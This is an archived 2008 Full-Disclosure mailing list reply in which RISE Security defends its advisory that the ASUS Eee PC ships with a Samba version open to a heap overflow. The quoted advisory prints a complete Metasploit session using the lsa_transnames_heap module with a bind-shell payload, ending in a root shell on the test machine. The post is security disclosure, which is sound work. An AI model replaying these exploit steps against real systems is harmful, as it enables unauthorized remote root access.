| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Date: Fri, 08 Feb 2008 18:14:09 -0200 From: RISE Security <advisories@...esecurity.org> To: reepex <reepex@...il.com> Cc: full-disclosure@...ts.grok.org.uk Subject: Re: ASUS Eee PC rooted out of the box -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi, Yes, we ran The Metasploit Framework Yes, we developed that exploit Yes, we are active contributors of The Metasploit Framework Yes, it is security research to warn end users of potential security risks Best regards, RISE Security reepex wrote: > So you ran metasploit and then made a blog post. Is this what 'security > research' is considered now? And why did you write this is such a media > hyped way? Trying to get some spotlight? > > On Feb 8, 2008 10:47 AM, RISE Security <advisories@...esecurity.org> wrote: > > We recently acquired an ASUS Eee PC (if you want to know more about it, > a lot of reviews are available on internet). The first thing we did when > we put our hands at the ASUS Eee PC was to test its security. The ASUS > Eee PC comes with a customized version of Xandros operating system > installed, and some other bundled software like Mozilla Firefox, Pidgin, > Skype and OpenOffice.org. > > Analysing the running processes of the ASUS Eee PC, the first thing that > caught our attention was the running smbd process (the sshd daemon was > started by us, and is not enabled by default). > > > eeepc-rise:/root> ps -e > PID TTY TIME CMD > 1 ? 00:00:00 fastinit > 2 ? 00:00:00 ksoftirqd/0 > 3 ? 00:00:00 events/0 > 4 ? 00:00:00 khelper > 5 ? 00:00:00 kthread > 25 ? 00:00:00 kblockd/0 > 26 ? 00:00:00 kacpid > 128 ? 00:00:00 ata/0 > 129 ? 00:00:00 ata_aux > 130 ? 00:00:00 kseriod > 148 ? 00:00:00 pdflush > 149 ? 00:00:00 pdflush > 150 ? 00:00:00 kswapd0 > 151 ? 00:00:00 aio/0 > 152 ? 00:00:00 unionfs_siod/0 > 778 ? 00:00:00 scsi_eh_0 > 779 ? 00:00:00 scsi_eh_1 > 799 ? 00:00:00 kpsmoused > 819 ? 00:00:00 kjournald > 855 ? 00:00:00 fastinit > 857 ? 00:00:00 sh > 858 ? 00:00:00 su > 859 tty3 00:00:00 getty > 862 ? 00:00:00 startx > 880 ? 00:00:00 xinit > 881 tty2 00:00:06 Xorg > 890 ? 00:00:00 udevd > 952 ? 00:00:00 ksuspend_usbd > 953 ? 00:00:00 khubd > 1002 ? 00:00:00 acpid > 1027 ? 00:00:00 pciehpd_event > 1055 ? 00:00:00 ifplugd > 1101 ? 00:00:00 scsi_eh_2 > 1102 ? 00:00:00 usb-storage > 1151 ? 00:00:00 icewm > 1185 ? 00:00:01 AsusLauncher > 1186 ? 00:00:00 icewmtray > 1188 ? 00:00:01 powermonitor > 1190 ? 00:00:00 minimixer > 1191 ? 00:00:00 networkmonitor > 1192 ? 00:00:00 wapmonitor > 1193 ? 00:00:00 x-session-manag > 1195 ? 00:00:00 x-session-manag > 1200 ? 00:00:00 x-session-manag > 1201 ? 00:00:00 dispwatch > 1217 ? 00:00:00 cupsd > 1224 ? 00:00:00 usbstorageapple > 1234 ? 00:00:00 kondemand/0 > 1240 ? 00:00:00 portmap > 1248 ? 00:00:00 keyboardstatus > 1272 ? 00:00:00 memd > 1279 ? 00:00:00 scim-helper-man > 1280 ? 00:00:00 scim-panel-gtk > 1282 ? 00:00:00 scim-launcher > 1297 ? 00:00:00 netserv > 1331 ? 00:00:00 asusosd > 1476 ? 00:00:00 xandrosncs-agen > 1775 ? 00:00:00 dhclient3 > 2002 ? 00:00:00 nmbd > 2004 ? 00:00:00 smbd > 2005 ? 00:00:00 smbd > 2322 ? 00:00:00 sshd > 2345 ? 00:00:00 sshd > 2356 pts/0 00:00:00 bash > 2362 pts/0 00:00:00 ps > eeepc-rise:/root> > > > Retrieving the the smbd version, we discovered that it runs a vulnerable > version of Samba (Samba lsa_io_trans_names Heap Overflow), which exploit > we published earlier last year. > > > eeepc-rise:/root> smbd --version > Version 3.0.24 > eeepc-rise:/root> > > > With this information, we ran our exploit against the ASUS Eee PC using > the Debian/Ubuntu target (Xandros is based on Corel Linux, which is > Debian based). > > > msf > use linux/samba/lsa_transnames_heap > msf exploit(lsa_transnames_heap) > set RHOST 192.168.50.10 > RHOST => 192.168.50.10 > msf exploit(lsa_transnames_heap) > set PAYLOAD linux/x86/shell_bind_tcp > PAYLOAD => linux/x86/shell_bind_tcp > msf exploit(lsa_transnames_heap) > show targets > > Exploit targets: > > Id Name > -- ---- > 0 Linux vsyscall > 1 Linux Heap Brute Force (Debian/Ubuntu) > 2 Linux Heap Brute Force (Gentoo) > 3 Linux Heap Brute Force (Mandriva) > 4 Linux Heap Brute Force (RHEL/CentOS) > 5 Linux Heap Brute Force (SUSE) > 6 Linux Heap Brute Force (Slackware) > 7 DEBUG > > > msf exploit(lsa_transnames_heap) > set TARGET 1 > TARGET => 1 > msf exploit(lsa_transnames_heap) > exploit > [*] Started bind handler > [*] Creating nop sled.... > ... > [*] Trying to exploit Samba with address 0x08415000... > [*] Connecting to the SMB service... > [*] Binding to > 12345778-1234-abcd-ef00-0123456789ab:0.0@...cn_np:192.168.50.10[\lsarpc] > ... > [*] Bound to > 12345778-1234-abcd-ef00-0123456789ab:0.0@...cn_np:192.168.50.10[\lsarpc] > ... > [*] Calling the vulnerable function... > [+] Server did not respond, this is expected > [*] Command shell session 1 opened (192.168.50.201:33694 -> > 192.168.50.10:4444) > msf exploit(lsa_transnames_heap) > sessions -i 1 > [*] Starting interaction with 1... > > uname -a > Linux eeepc-rise 2.6.21.4-eeepc #21 Sat Oct 13 12:14:03 EDT 2007 i686 > GNU/Linux > id > uid=0(root) gid=0(root) egid=65534(nogroup) groups=65534(nogroup) > > > Easy to learn, Easy to work, Easy to root. > > > The original blog post and more information can be found in our > website at http://risesecurity.org/. > > Best regards, > RISE Security >> _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ >> -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (GNU/Linux) iD8DBQFHrLgRhFjK78TGSUERAmR2AJ4lsZrtpvM3ksiVPbTvLglFL4nQlQCg2gCk 4TUGJbON6TOV876cStWX8w8= =gwjI -----END PGP SIGNATURE----- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists